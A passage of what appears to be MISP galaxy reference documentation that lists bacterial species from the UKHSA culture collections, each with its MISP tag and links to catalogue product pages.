https://www.culturecollections.org.uk/nop/product/kocuria-varians-6
https://www.culturecollections.org.uk/nop/product/kocuria-varians-7

Mycobacterium neolactis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium neolactis"*

Table 30519. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-neolactis-2
https://www.culturecollections.org.uk/nop/product/mycobacterium-neolactis

Filifactor villosus

The tag is: *misp-galaxy:ukhsa-culture-collections="Filifactor villosus"*

Table 30520. Table References

Links
https://www.culturecollections.org.uk/nop/product/filifactor-villosus-2
https://www.culturecollections.org.uk/nop/product/filifactor-villosus

Sebaldella termitidis

The tag is: *misp-galaxy:ukhsa-culture-collections="Sebaldella termitidis"*

Table 30521. Table References

Links
https://www.culturecollections.org.uk/nop/product/sebaldella-termitidis

Streptomyces somaliensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptomyces somaliensis"*

Table 30522. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptomyces-somaliensis-3
https://www.culturecollections.org.uk/nop/product/streptomyces-somaliensis-4
https://www.culturecollections.org.uk/nop/product/streptomyces-somaliensis
https://www.culturecollections.org.uk/nop/product/streptomyces-somaliensis-2

Corynebacterium bovis

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium bovis"*

Table 30523. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-bovis-2
https://www.culturecollections.org.uk/nop/product/corynebacterium-bovis

Actinobacillus sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinobacillus sp."*

Table 30524. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinobacillus-sp
https://www.culturecollections.org.uk/nop/product/actinobacillus-sp-2

https://www.culturecollections.org.uk/nop/product/actinobacillus-sp-3

Campylobacter mucosalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter mucosalis"*

Table 30525. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-mucosalis-3
https://www.culturecollections.org.uk/nop/product/campylobacter-mucosalis
https://www.culturecollections.org.uk/nop/product/campylobacter-mucosalis-2
https://www.culturecollections.org.uk/nop/product/campylobacter-mucosalis-4
https://www.culturecollections.org.uk/nop/product/campylobacter-mucosalis-5

Pragia fontium

The tag is: *misp-galaxy:ukhsa-culture-collections="Pragia fontium"*

Table 30526. Table References

Links
https://www.culturecollections.org.uk/nop/product/pragia-fontium-2
https://www.culturecollections.org.uk/nop/product/pragia-fontium-3
https://www.culturecollections.org.uk/nop/product/pragia-fontium

Legionella geestiana

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella geestiana"*

Table 30527. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-geestiana

Legionella worsleiensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella worsleiensis"*

Table 30528. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-worsleiensis

Salmonella enterica subsp. indica

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. indica"*

Table 30529. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-indica

Actinobacillus muris

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinobacillus muris"*

Table 30530. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinobacillus-muris

Legionella quinlivanii

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella quinlivanii"*

Table 30531. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-quinlivanii
https://www.culturecollections.org.uk/nop/product/legionella-quinlivanii-2

Legionella tucsonensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella tucsonensis"*

Table 30532. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-tucsonensis

Helicobacter pylori

The tag is: *misp-galaxy:ukhsa-culture-collections="Helicobacter pylori"*

Table 30533. Table References

Links
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-12
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-13

https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-22
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-25
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-29
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-40
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-2
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-9
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-20
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-21
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-23
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-30
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-35
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-37
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-38
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-4
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-6
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-16
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-17
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-18
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-24
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-27
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-31
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-44
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-3
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-5
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-7
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-14
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-33
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-39
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-8
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-10
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-11
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-15
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-19
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-28

https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-34
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-41
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-42
https://www.culturecollections.org.uk/nop/product/helicobacter-pylori-43

Afipia felis

The tag is: *misp-galaxy:ukhsa-culture-collections="Afipia felis"*

Table 30534. Table References

Links
https://www.culturecollections.org.uk/nop/product/afipia-felis
https://www.culturecollections.org.uk/nop/product/afipia-felis-2

Clostridium celatum

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium celatum"*

Table 30535. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-celatum-2

Helicobacter pullorum

The tag is: *misp-galaxy:ukhsa-culture-collections="Helicobacter pullorum"*

Table 30536. Table References

Links
https://www.culturecollections.org.uk/nop/product/helicobacter-pullorum
https://www.culturecollections.org.uk/nop/product/helicobacter-pullorum-8
https://www.culturecollections.org.uk/nop/product/helicobacter-pullorum-2
https://www.culturecollections.org.uk/nop/product/helicobacter-pullorum-7
https://www.culturecollections.org.uk/nop/product/helicobacter-pullorum-5
https://www.culturecollections.org.uk/nop/product/helicobacter-pullorum-6
https://www.culturecollections.org.uk/nop/product/helicobacter-pullorum-4

Lautropia mirabilis

The tag is: *misp-galaxy:ukhsa-culture-collections="Lautropia mirabilis"*

Table 30537. Table References

Links
https://www.culturecollections.org.uk/nop/product/lautropia-mirabilis

Porphyromonas cangingivalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Porphyromonas cangingivalis"*

Table 30538. Table References

Links
https://www.culturecollections.org.uk/nop/product/porphyromonas-cangingivalis-2
https://www.culturecollections.org.uk/nop/product/porphyromonas-cangingivalis

Porphyromonas cansulci

The tag is: *misp-galaxy:ukhsa-culture-collections="Porphyromonas cansulci"*

Table 30539. Table References

Links
https://www.culturecollections.org.uk/nop/product/porphyromonas-cansulci

Moraxella caprae

The tag is: *misp-galaxy:ukhsa-culture-collections="Moraxella caprae"*

Table 30540. Table References

Links
https://www.culturecollections.org.uk/nop/product/moraxella-caprae
https://www.culturecollections.org.uk/nop/product/moraxella-caprae-2
https://www.culturecollections.org.uk/nop/product/moraxella-caprae-3

Helicobacter hepaticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Helicobacter hepaticus"*

Table 30541. Table References

Links
https://www.culturecollections.org.uk/nop/product/helicobacter-hepaticus

Bartonella elizabethae

The tag is: *misp-galaxy:ukhsa-culture-collections="Bartonella elizabethae"*

Table 30542. Table References

Links
https://www.culturecollections.org.uk/nop/product/bartonella-elizabethae

Bartonella vinsonii

The tag is: *misp-galaxy:ukhsa-culture-collections="Bartonella vinsonii"*

Table 30543. Table References

Links
https://www.culturecollections.org.uk/nop/product/bartonella-vinsonii

Actinobacillus scotiae

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinobacillus scotiae"*

Table 30544. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinobacillus-scotiae

Acinetobacter calcoaceticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Acinetobacter calcoaceticus"*

Table 30545. Table References

Links
https://www.culturecollections.org.uk/nop/product/acinetobacter-calcoaceticus

Brevibacterium epidermidis

The tag is: *misp-galaxy:ukhsa-culture-collections="Brevibacterium epidermidis"*

Table 30546. Table References

Links
https://www.culturecollections.org.uk/nop/product/brevibacterium-epidermidis-4
https://www.culturecollections.org.uk/nop/product/brevibacterium-epidermidis
https://www.culturecollections.org.uk/nop/product/brevibacterium-epidermidis-2

https://www.culturecollections.org.uk/nop/product/brevibacterium-epidermidis-3

Campylobacter coli subsp. aquaticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter coli subsp. aquaticus"*

Table 30547. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-coli-subsp-aquaticus

Corynebacterium imitans

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium imitans"*

Table 30548. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-imitans

Legionella waltersii

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella waltersii"*

Table 30549. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-waltersii

Clostridium chauvoei

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium chauvoei"*

Table 30550. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-chauvoei-4
https://www.culturecollections.org.uk/nop/product/clostridium-chauvoei-2
https://www.culturecollections.org.uk/nop/product/clostridium-chauvoei
https://www.culturecollections.org.uk/nop/product/clostridium-chauvoei-3

Tsukamurella paurometabola

The tag is: *misp-galaxy:ukhsa-culture-collections="Tsukamurella paurometabola"*

Table 30551. Table References

Links
https://www.culturecollections.org.uk/nop/product/tsukamurella-paurometabola-2
https://www.culturecollections.org.uk/nop/product/tsukamurella-paurometabola-3
https://www.culturecollections.org.uk/nop/product/tsukamurella-paurometabola

Bacteroides caccae

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacteroides caccae"*

Table 30552. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacteroides-caccae

Prevotella oris

The tag is: *misp-galaxy:ukhsa-culture-collections="Prevotella oris"*

Table 30553. Table References

Links
https://www.culturecollections.org.uk/nop/product/prevotella-oris

Nocardia africana

The tag is: *misp-galaxy:ukhsa-culture-collections="Nocardia africana"*

Table 30554. Table References

Links
https://www.culturecollections.org.uk/nop/product/nocardia-africana
https://www.culturecollections.org.uk/nop/product/nocardia-africana-4
https://www.culturecollections.org.uk/nop/product/nocardia-africana-2
https://www.culturecollections.org.uk/nop/product/nocardia-africana-3

Pseudomonas andersonii

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas andersonii"*

Table 30555. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-andersonii

Helicobacter winghamensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Helicobacter winghamensis"*

Table 30556. Table References

Links
https://www.culturecollections.org.uk/nop/product/helicobacter-winghamensis
https://www.culturecollections.org.uk/nop/product/helicobacter-winghamensis-2
https://www.culturecollections.org.uk/nop/product/helicobacter-winghamensis-3

Streptomyces coelicolor

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptomyces coelicolor"*

Table 30557. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptomyces-coelicolor

Tsukamurella tyrosinosolvens

The tag is: *misp-galaxy:ukhsa-culture-collections="Tsukamurella tyrosinosolvens"*

Table 30558. Table References

Links
https://www.culturecollections.org.uk/nop/product/tsukamurella-tyrosinosolvens

Helicobacter canadensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Helicobacter canadensis"*

Table 30559. Table References

Links
https://www.culturecollections.org.uk/nop/product/helicobacter-canadensis-3
https://www.culturecollections.org.uk/nop/product/helicobacter-canadensis
https://www.culturecollections.org.uk/nop/product/helicobacter-canadensis-2

Clostridium innocuum

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium innocuum"*

Table 30560. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-innocuum

Lactobacillus delbrueckii subsp. lactis

The tag is: *misp-galaxy:ukhsa-culture-collections="Lactobacillus delbrueckii subsp. lactis"*

Table 30561. Table References

Links
https://www.culturecollections.org.uk/nop/product/lactobacillus-delbrueckii-subsp-lactis

Bartonella tamiae

The tag is: *misp-galaxy:ukhsa-culture-collections="Bartonella tamiae"*

Table 30562. Table References

Links
https://www.culturecollections.org.uk/nop/product/bartonella-tamiae

Yersinia kristensenii

The tag is: *misp-galaxy:ukhsa-culture-collections="Yersinia kristensenii"*

Table 30563. Table References

Links
https://www.culturecollections.org.uk/nop/product/yersinia-kristensenii

Campylobacter rectus

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter rectus"*

Table 30564. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-rectus

Peptostreptococcus asaccharolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Peptostreptococcus asaccharolyticus"*

Table 30565. Table References

Links
https://www.culturecollections.org.uk/nop/product/peptostreptococcus-asaccharolyticus

https://www.culturecollections.org.uk/nop/product/peptostreptococcus-asaccharolyticus-2

Capnocytophaga ochracea

The tag is: *misp-galaxy:ukhsa-culture-collections="Capnocytophaga ochracea"*

Table 30566. Table References

Links
https://www.culturecollections.org.uk/nop/product/capnocytophaga-ochracea
https://www.culturecollections.org.uk/nop/product/capnocytophaga-ochracea-4
https://www.culturecollections.org.uk/nop/product/capnocytophaga-ochracea-2
https://www.culturecollections.org.uk/nop/product/capnocytophaga-ochracea-3
https://www.culturecollections.org.uk/nop/product/capnocytophaga-ochracea-5

Pasteurella stomatis

The tag is: *misp-galaxy:ukhsa-culture-collections="Pasteurella stomatis"*

Table 30567. Table References

Links
https://www.culturecollections.org.uk/nop/product/pasteurella-stomatis-2
https://www.culturecollections.org.uk/nop/product/pasteurella-stomatis

Streptobacillus moniliformis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptobacillus moniliformis"*

Table 30568. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptobacillus-moniliformis-5
https://www.culturecollections.org.uk/nop/product/streptobacillus-moniliformis-4
https://www.culturecollections.org.uk/nop/product/streptobacillus-moniliformis-6
https://www.culturecollections.org.uk/nop/product/streptobacillus-moniliformis-8
https://www.culturecollections.org.uk/nop/product/streptobacillus-moniliformis
https://www.culturecollections.org.uk/nop/product/streptobacillus-moniliformis-3
https://www.culturecollections.org.uk/nop/product/streptobacillus-moniliformis-2
https://www.culturecollections.org.uk/nop/product/streptobacillus-moniliformis-7

Mesoplasma florum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mesoplasma florum"*

Table 30569. Table References

Links
https://www.culturecollections.org.uk/nop/product/mesoplasma-florum

Mycoplasma hyopharyngis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma hyopharyngis"*

Table 30570. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-hyopharyngis

Ureaplasma felinum

The tag is: *misp-galaxy:ukhsa-culture-collections="Ureaplasma felinum"*

Table 30571. Table References

Links
https://www.culturecollections.org.uk/nop/product/ureaplasma-felinum

Peptococcus niger

The tag is: *misp-galaxy:ukhsa-culture-collections="Peptococcus niger"*

Table 30572. Table References

Links
https://www.culturecollections.org.uk/nop/product/peptococcus-niger

Parvimonas micra

The tag is: *misp-galaxy:ukhsa-culture-collections="Parvimonas micra"*

Table 30573. Table References

Links
https://www.culturecollections.org.uk/nop/product/parvimonas-micra

Listeria welshimeri

The tag is: *misp-galaxy:ukhsa-culture-collections="Listeria welshimeri"*

Table 30574. Table References

Links
https://www.culturecollections.org.uk/nop/product/listeria-welshimeri

Corynebacterium pseudogenitalium

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium pseudogenitalium"*

Table 30575. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-pseudogenitalium

Campylobacter

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter"*

Table 30576. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter
https://www.culturecollections.org.uk/nop/product/campylobacter-2

Legionella santicrucis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella santicrucis"*

Table 30577. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-santicrucis

Veillonella criceti

The tag is: *misp-galaxy:ukhsa-culture-collections="Veillonella criceti"*

Table 30578. Table References

Links
https://www.culturecollections.org.uk/nop/product/veillonella-criceti

Legionella moravica

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella moravica"*

Table 30579. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-moravica

Serratia fonticola

The tag is: *misp-galaxy:ukhsa-culture-collections="Serratia fonticola"*

Table 30580. Table References

Links
https://www.culturecollections.org.uk/nop/product/serratia-fonticola
https://www.culturecollections.org.uk/nop/product/serratia-fonticola-2
https://www.culturecollections.org.uk/nop/product/serratia-fonticola-3
https://www.culturecollections.org.uk/nop/product/serratia-fonticola-4

Leminorella richardii

The tag is: *misp-galaxy:ukhsa-culture-collections="Leminorella richardii"*

Table 30581. Table References

Links
https://www.culturecollections.org.uk/nop/product/leminorella-richardii

Leminorella grimontii

The tag is: *misp-galaxy:ukhsa-culture-collections="Leminorella grimontii"*

Table 30582. Table References

Links
https://www.culturecollections.org.uk/nop/product/leminorella-grimontii

Mobiluncus curtisii

The tag is: *misp-galaxy:ukhsa-culture-collections="Mobiluncus curtisii"*

Table 30583. Table References

Links

https://www.culturecollections.org.uk/nop/product/mobiluncus-curtisii-4
https://www.culturecollections.org.uk/nop/product/mobiluncus-curtisii
https://www.culturecollections.org.uk/nop/product/mobiluncus-curtisii-5
https://www.culturecollections.org.uk/nop/product/mobiluncus-curtisii-2
https://www.culturecollections.org.uk/nop/product/mobiluncus-curtisii-3

Mycobacterium hafniae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium hafniae"*

Table 30584. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-hafniae-2
https://www.culturecollections.org.uk/nop/product/mycobacterium-hafniae

Clostridium cocleatum

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium cocleatum"*

Table 30585. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-cocleatum

Campylobacter sputorum biovar fecalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter sputorum biovar fecalis"*

Table 30586. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-sputorum-biovar-fecalis
https://www.culturecollections.org.uk/nop/product/campylobacter-sputorum-biovar-fecalis-2

Legionella jordanis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella jordanis"*

Table 30587. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-jordanis

Campylobacter sputorum subsp. sputorum

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter sputorum subsp. sputorum"*

Table 30588. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-sputorum-subsp-sputorum
https://www.culturecollections.org.uk/nop/product/campylobacter-sputorum-subsp-sputorum-3
https://www.culturecollections.org.uk/nop/product/campylobacter-sputorum-subsp-sputorum-2

Helicobacter cinaedi

The tag is: *misp-galaxy:ukhsa-culture-collections="Helicobacter cinaedi"*

Table 30589. Table References

Links
https://www.culturecollections.org.uk/nop/product/helicobacter-cinaedi-2
https://www.culturecollections.org.uk/nop/product/helicobacter-cinaedi
https://www.culturecollections.org.uk/nop/product/helicobacter-cinaedi-4
https://www.culturecollections.org.uk/nop/product/helicobacter-cinaedi-5
https://www.culturecollections.org.uk/nop/product/helicobacter-cinaedi-3
https://www.culturecollections.org.uk/nop/product/helicobacter-cinaedi-7

Porphyromonas macacae

The tag is: *misp-galaxy:ukhsa-culture-collections="Porphyromonas macacae"*

Table 30590. Table References

Links
https://www.culturecollections.org.uk/nop/product/porphyromonas-macacae
https://www.culturecollections.org.uk/nop/product/porphyromonas-macacae-2

Actinomyces howellii

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinomyces howellii"*

Table 30591. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinomyces-howellii

Vibrio hollisae

The tag is: *misp-galaxy:ukhsa-culture-collections="Vibrio hollisae"*

Table 30592. Table References

Links
https://www.culturecollections.org.uk/nop/product/vibrio-hollisae
https://www.culturecollections.org.uk/nop/product/vibrio-hollisae-2

Mesoplasma entomophilum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mesoplasma entomophilum"*

Table 30593. Table References

Links
https://www.culturecollections.org.uk/nop/product/mesoplasma-entomophilum

Mycoplasma phocacerebrale

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma phocacerebrale"*

Table 30594. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-phocacerebrale

Mycoplasma phocarhinis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma phocarhinis"*

Table 30595. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-phocarhinis

Neisseria polysaccharea

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria polysaccharea"*

Table 30596. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-polysaccharea

Corynebacterium pilosum

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium pilosum"*

Table 30597. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-pilosum

Corynebacterium cystitidis

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium cystitidis"*

Table 30598. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-cystitidis

Prevotella oulora

The tag is: *misp-galaxy:ukhsa-culture-collections="Prevotella oulora"*

Table 30599. Table References

Links
https://www.culturecollections.org.uk/nop/product/prevotella-oulora

Haemophilus-like bacterium

The tag is: *misp-galaxy:ukhsa-culture-collections="Haemophilus-like bacterium"*

Table 30600. Table References

Links
https://www.culturecollections.org.uk/nop/product/haemophilus-like-bacterium
https://www.culturecollections.org.uk/nop/product/haemophilus-like-bacterium-2
https://www.culturecollections.org.uk/nop/product/haemophilus-like-bacterium-3

Legionella parisiensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella parisiensis"*

Table 30601. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-parisiensis

Oligella ureolytica

The tag is: *misp-galaxy:ukhsa-culture-collections="Oligella ureolytica"*

Table 30602. Table References

Links
https://www.culturecollections.org.uk/nop/product/oligella-ureolytica
https://www.culturecollections.org.uk/nop/product/oligella-ureolytica-2

Corynebacterium urealyticum

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium urealyticum"*

Table 30603. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-urealyticum

Helicobacter mustelae

The tag is: *misp-galaxy:ukhsa-culture-collections="Helicobacter mustelae"*

Table 30604. Table References

Links
https://www.culturecollections.org.uk/nop/product/helicobacter-mustelae-2
https://www.culturecollections.org.uk/nop/product/helicobacter-mustelae-3
https://www.culturecollections.org.uk/nop/product/helicobacter-mustelae-4
https://www.culturecollections.org.uk/nop/product/helicobacter-mustelae

Clostridium glycolicum

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium glycolicum"*

Table 30605. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-glycolicum
https://www.culturecollections.org.uk/nop/product/clostridium-glycolicum-2

Janthinobacterium lividum

The tag is: *misp-galaxy:ukhsa-culture-collections="Janthinobacterium lividum"*

Table 30606. Table References

Links
https://www.culturecollections.org.uk/nop/product/janthinobacterium-lividum-4
https://www.culturecollections.org.uk/nop/product/janthinobacterium-lividum-5
https://www.culturecollections.org.uk/nop/product/janthinobacterium-lividum-2
https://www.culturecollections.org.uk/nop/product/janthinobacterium-lividum-6
https://www.culturecollections.org.uk/nop/product/janthinobacterium-lividum-8
https://www.culturecollections.org.uk/nop/product/janthinobacterium-lividum
https://www.culturecollections.org.uk/nop/product/janthinobacterium-lividum-3
https://www.culturecollections.org.uk/nop/product/janthinobacterium-lividum-7

Mycoplasma opalescens

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma opalescens"*

Table 30607. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-opalescens

Acholeplasma hippikon

The tag is: *misp-galaxy:ukhsa-culture-collections="Acholeplasma hippikon"*

Table 30608. Table References

Links
https://www.culturecollections.org.uk/nop/product/acholeplasma-hippikon

Mycoplasma subdolum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma subdolum"*

Table 30609. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-subdolum

Mycoplasma pullorum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma pullorum"*

Table 30610. Table References

Links

https://www.culturecollections.org.uk/nop/product/mycoplasma-pullorum

Mycoplasma lipofaciens

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma lipofaciens"*

Table 30611. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-lipofaciens

Mycoplasma glycophilum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma glycophilum"*

Table 30612. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-glycophilum

Actinomyces naeslundii

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinomyces naeslundii"*

Table 30613. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinomyces-naeslundii

Bacillus badius

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus badius"*

Table 30614. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-badius

Actinobaculum suis

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinobaculum suis"*

Table 30615. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinobaculum-suis

Pasteurella pneumotropica

The tag is: *misp-galaxy:ukhsa-culture-collections="Pasteurella pneumotropica"*

Table 30616. Table References

Links
https://www.culturecollections.org.uk/nop/product/pasteurella-pneumotropica-4
https://www.culturecollections.org.uk/nop/product/pasteurella-pneumotropica
https://www.culturecollections.org.uk/nop/product/pasteurella-pneumotropica-2
https://www.culturecollections.org.uk/nop/product/pasteurella-pneumotropica-3
https://www.culturecollections.org.uk/nop/product/pasteurella-pneumotropica-5

Paenibacillus macquariensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Paenibacillus macquariensis"*

Table 30617. Table References

Links
https://www.culturecollections.org.uk/nop/product/paenibacillus-macquariensis-3
https://www.culturecollections.org.uk/nop/product/paenibacillus-macquariensis
https://www.culturecollections.org.uk/nop/product/paenibacillus-macquariensis-2

Arthrobacter agilis

The tag is: *misp-galaxy:ukhsa-culture-collections="Arthrobacter agilis"*

Table 30618. Table References

Links
https://www.culturecollections.org.uk/nop/product/arthrobacter-agilis

Fusobacterium nucleatum subsp. polymorphum

The tag is: *misp-galaxy:ukhsa-culture-collections="Fusobacterium nucleatum subsp. polymorphum"*

Table 30619. Table References

Links
https://www.culturecollections.org.uk/nop/product/fusobacterium-nucleatum-subsp-polymorphum

Delftia acidovorans

The tag is: *misp-galaxy:ukhsa-culture-collections="Delftia acidovorans"*

Table 30620. Table References

Links
https://www.culturecollections.org.uk/nop/product/delftia-acidovorans
https://www.culturecollections.org.uk/nop/product/delftia-acidovorans-2

Listeria seeligeri

The tag is: *misp-galaxy:ukhsa-culture-collections="Listeria seeligeri"*

Table 30621. Table References

Links
https://www.culturecollections.org.uk/nop/product/listeria-seeligeri
https://www.culturecollections.org.uk/nop/product/listeria-seeligeri-3
https://www.culturecollections.org.uk/nop/product/listeria-seeligeri-2

Mitsuokella multacida

The tag is: *misp-galaxy:ukhsa-culture-collections="Mitsuokella multacida"*

Table 30622. Table References

Links
https://www.culturecollections.org.uk/nop/product/mitsuokella-multacida
https://www.culturecollections.org.uk/nop/product/mitsuokella-multacida-2

Clostridium cochlearium

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium cochlearium"*

Table 30623. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-cochlearium-2
https://www.culturecollections.org.uk/nop/product/clostridium-cochlearium
https://www.culturecollections.org.uk/nop/product/clostridium-cochlearium-3

Dermatophilus congolensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Dermatophilus congolensis"*

Table 30624. Table References

Links

https://www.culturecollections.org.uk/nop/product/dermatophilus-congolensis-2
https://www.culturecollections.org.uk/nop/product/dermatophilus-congolensis-3
https://www.culturecollections.org.uk/nop/product/dermatophilus-congolensis

Salmonella enterica subsp. enterica serotype Brazil

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Brazil"*

Table 30625. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-brazil

Mycoplasma pulmonis

